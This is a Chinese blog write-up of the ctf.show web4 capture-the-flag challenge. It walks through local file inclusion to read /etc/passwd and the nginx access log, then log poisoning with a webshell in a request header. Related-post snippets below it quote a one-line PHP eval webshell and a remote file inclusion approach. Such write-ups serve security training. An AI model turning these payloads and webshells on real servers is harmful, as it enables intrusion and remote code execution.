ctf.show_web4

最新推荐文章于 2024-04-26 16:20:06 发布
最新推荐文章于 2024-04-26 16:20:06 发布
阅读量2.6k 收藏
点赞数 1
分类专栏： CTF 文章标签： 安全 web安全 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44959263/article/details/121953634
版权

查看题目
请添加图片描述
发现题目要求get请求传输一个url参数，并且看到了include，估计需要使用伪协议进行包含，进行尝试

http://28d722fe-b9a5-4ab9-887f-d07990104493.challenge.ctf.show/?url=php://input

请添加图片描述
发现报错error，继续尝试其他协议发现都显示error

尝试直接在后面加文件

http://28d722fe-b9a5-4ab9-887f-d07990104493.challenge.ctf.show/?url=/etc/passwd

请添加图片描述
发现成功显示出文件内容，那么尝试查看日志看看

http://28d722fe-b9a5-4ab9-887f-d07990104493.challenge.ctf.show/?url=/var/log/nginx/access.log

请添加图片描述
尝试修改header，在header中写马并使用蚁剑连接日志目录，得到flag

请添加图片描述

请添加图片描述

请添加图片描述

Kobalos Baku
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
ctfshow-WEB-web4
wangyuxiang946的博客
08-20 1万+
ctf.show WEB模块第4关是一个文件包含漏洞,页面提示了源码中的关键代码,使用include()函数接收url参数,include()函数包含的文件会被执行,从而造成任意代码执行,或者配合伪协议获取敏感文件甚至getshell; 然而这一关伪协议不起作用,我们可以通过日志注入进行任意命令执行,从而getshell 页面最明显的位置展示了源码的核心,提示我们利用文件包含漏洞 包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行...
ctf.show web入门
nidaxin的博客
01-21 5262
信息收集 web1:【where is flag】 打开开发者工具 web2:【无法查看源代码】 ctrl+u或者开发者工具·都可以 web3:【where is flag】 直接抓包，查看响应包 web4:【robots】 Robots协议:也称为爬虫协议、机器人协议等，其全称为“网络爬虫排除标准",它通常是一个叫做robots.txt的文本文件，一般放在网站的根目录下。网站通过Robots协议告诉搜索引擎哪些页面可以抓取，哪些页面不能抓取。 先抓包，发现响应包里面并没有f.
ctfshow-萌新-web4( 利用逻辑运算符绕过获取网站敏感信息)_ctf(1)
最新发布
2401_84254343的博客
04-26 320
萌新模块 web4关，这一关考察的是 intval()函数转换字符串的特性，以及SQL注入漏洞的绕过方式，源码中过滤了or，加减乘除（±*/），左右移，括号，|，select等关键字，我们使用短路逻辑或（||）来替替代 or 即可页面中展示了部分源码，提示我们 id=1000 时，即可获取flag首先分析一下思路，源码中过滤了参数中的 or - / * < >!( ) + select 等关键字，所以我们的参数中不能包含这些关键字，否则会直接 die；
ctfshow-萌新-web4( 利用逻辑运算符绕过获取网站敏感信息)
热门推荐
wangyuxiang946的博客
09-10 1万+
ctf.show萌新模块 web4关，这一关考察的是 intval()函数转换字符串的特性，以及SQL注入漏洞的绕过方式，源码中过滤了or，加减乘除（+-*/），左右移，括号，|，select等关键字，我们使用短路逻辑或（||）来替替代or 即可 页面中展示了部分源码，提示我们 id=1000 时，即可获取flag 首先分析一下思路，源码中过滤了参数中的 or - / * < > ! ( ) + select 等关键字，所以我们的参数中不能包含这些关键字，否则会直接 d...
ctfshow-web4
HAI_WD的博客
08-04 599
默认nginx日志是：/var/log/nginx/access.log，可以看到记录了请求。那么我们就可以修改ua头进行代码注入，如果存在ssh连接的话，用ssh日志也可以。然后cat一下获取到flag。
CTF.rar_ctf_seed7rj
09-21
【标题】"CTF.rar_ctf_seed7rj" 暗示了这是一个与网络安全相关的挑战，CTF（Capture The Flag）是网络安全领域常见的比赛形式，通常涉及逆向工程、密码学、网络攻防等技能。"seed7rj"可能是这次挑战的一个特定标识...
ctf.rar_ctf
09-21
this is script from my ctf
hac.zip_CTF信息隐写_ctf
09-23
【标题】"hac.zip_CTF信息隐写_ctf"是一个关于CTF（Capture The Flag）比赛中的信息隐写技术的入门教程。CTF是一种网络安全竞赛，参赛者通过解决各种安全问题来获取“旗标”或关键信息，以此赢得比赛。而信息隐写则...
Python-dsstore:用于解析.DS_Store文件并提取文件名的库
05-03
./samples/目录中包含一个CTF格式的示例文件，您可以使用python3 main.py ./samples/.DS_Store.ctf尝试解析器。 这是我的博客文章，试图详细解释其结构和格式： : 用法 $ python main.py samples/.DS_Store.ctf ...
ctf-field-guide.zip_ctf_pdf
09-23
ctf介绍及相关培训介绍 学习ctf的注意事项
CTFshow web入门 web4
weixin_45990644的博客
07-07 705
CTFshow web入门 web4 题目提示robots，看了些文章反应过来时是关于robots的协议问题，利用“robots.txt”来进行查看链接： 打开之后发现这些代码，百度了一下是些Roberts协议。 User-agent: * 表示所有的搜索引擎种类，*是一个通配符。 Disallow: /flagishere.txt表示是禁止爬取名为flagishere的txt文件。 本着实验的心态在链接后面加了/flagishere.txt试了试，最后得到了flag 。 补充 因为之前没有接触过爬虫，
ROSE笔记-ctf.show-web4-WP
居上
11-06 309
ctf.show-web4 试以下伪协议 payload：/?url=php://input 页面显示错误 方法一：远程文件包含 打开一台携带web服务的云服务器，在目录下创建一个test.php，内容为一句话木马 <?php @eval($_POST['1']); ?> http://xxx/test.php ...
CTF刷题积累经验1 CTFshow web4
qq_43508668的博客
05-09 323
使用php 伪协议发现不行 那么我们进行 日志注入 获取shell ?url=/var/log/nginx/access.log 3.写入一句话木马 <?php @eval($_POST['LCZ']);?> 通过AntSword 连接 拿到flag
CTFshow web4 详解
lzu_lfl的博客
10-15 2363
日志写码getshell
CTF_ctfshow_web4
weixin_54227009的博客
05-13 906
打开网页发现和web3差不多，文件包含url 但尝试了web3，发现error了 伪协议用不了了 可以尝试用一句话连接，bp抓包，上传一句话 但一句话不知道是传到了哪个路径下， 查看网络： 发现是nginx,nginx的日志文件在/var/log/ngnix/access.log或/var/log/ngnix/error.log 故，一句话可以传到日志目录下 将User-Agent这里写进一句话 上传成功： 路径：ctf.show_web4http://f30ab..
ctfshow web4
weixin_51866363的博客
11-22 4138
本次解法准备工具：burpsuite ，中国蚁剑 这是web3的进化版，老的方法已经行不通了，只能通过日志注入得到shell 这里我们输入默认目录获取日志 ?url=/var/log/nginx/access.log
ctfshow-web4（文件包含&日志注入）
Welcome To Myon'Blog !
10-08 1235
Nginx中的日志分两种，一种是error.log，一种是access.log。中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息，如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候，日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。对于Ngnix，日志存放路径：/var/log/nginx/access.log 和 /var/log/nginx/error.log。进入后台，找到flag。
ctf.show_web5
10-22
ctf.show_web5是一个CTF比赛中的WEB模块第5关，需要传递两个参数v1和v2，要求v1必须是纯字母字符串，v2必须是数字或数字字符串，并且两个参数的md5值必须相等。可以利用md5的0e漏洞进行绕过。具体来说，可以构造一个...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值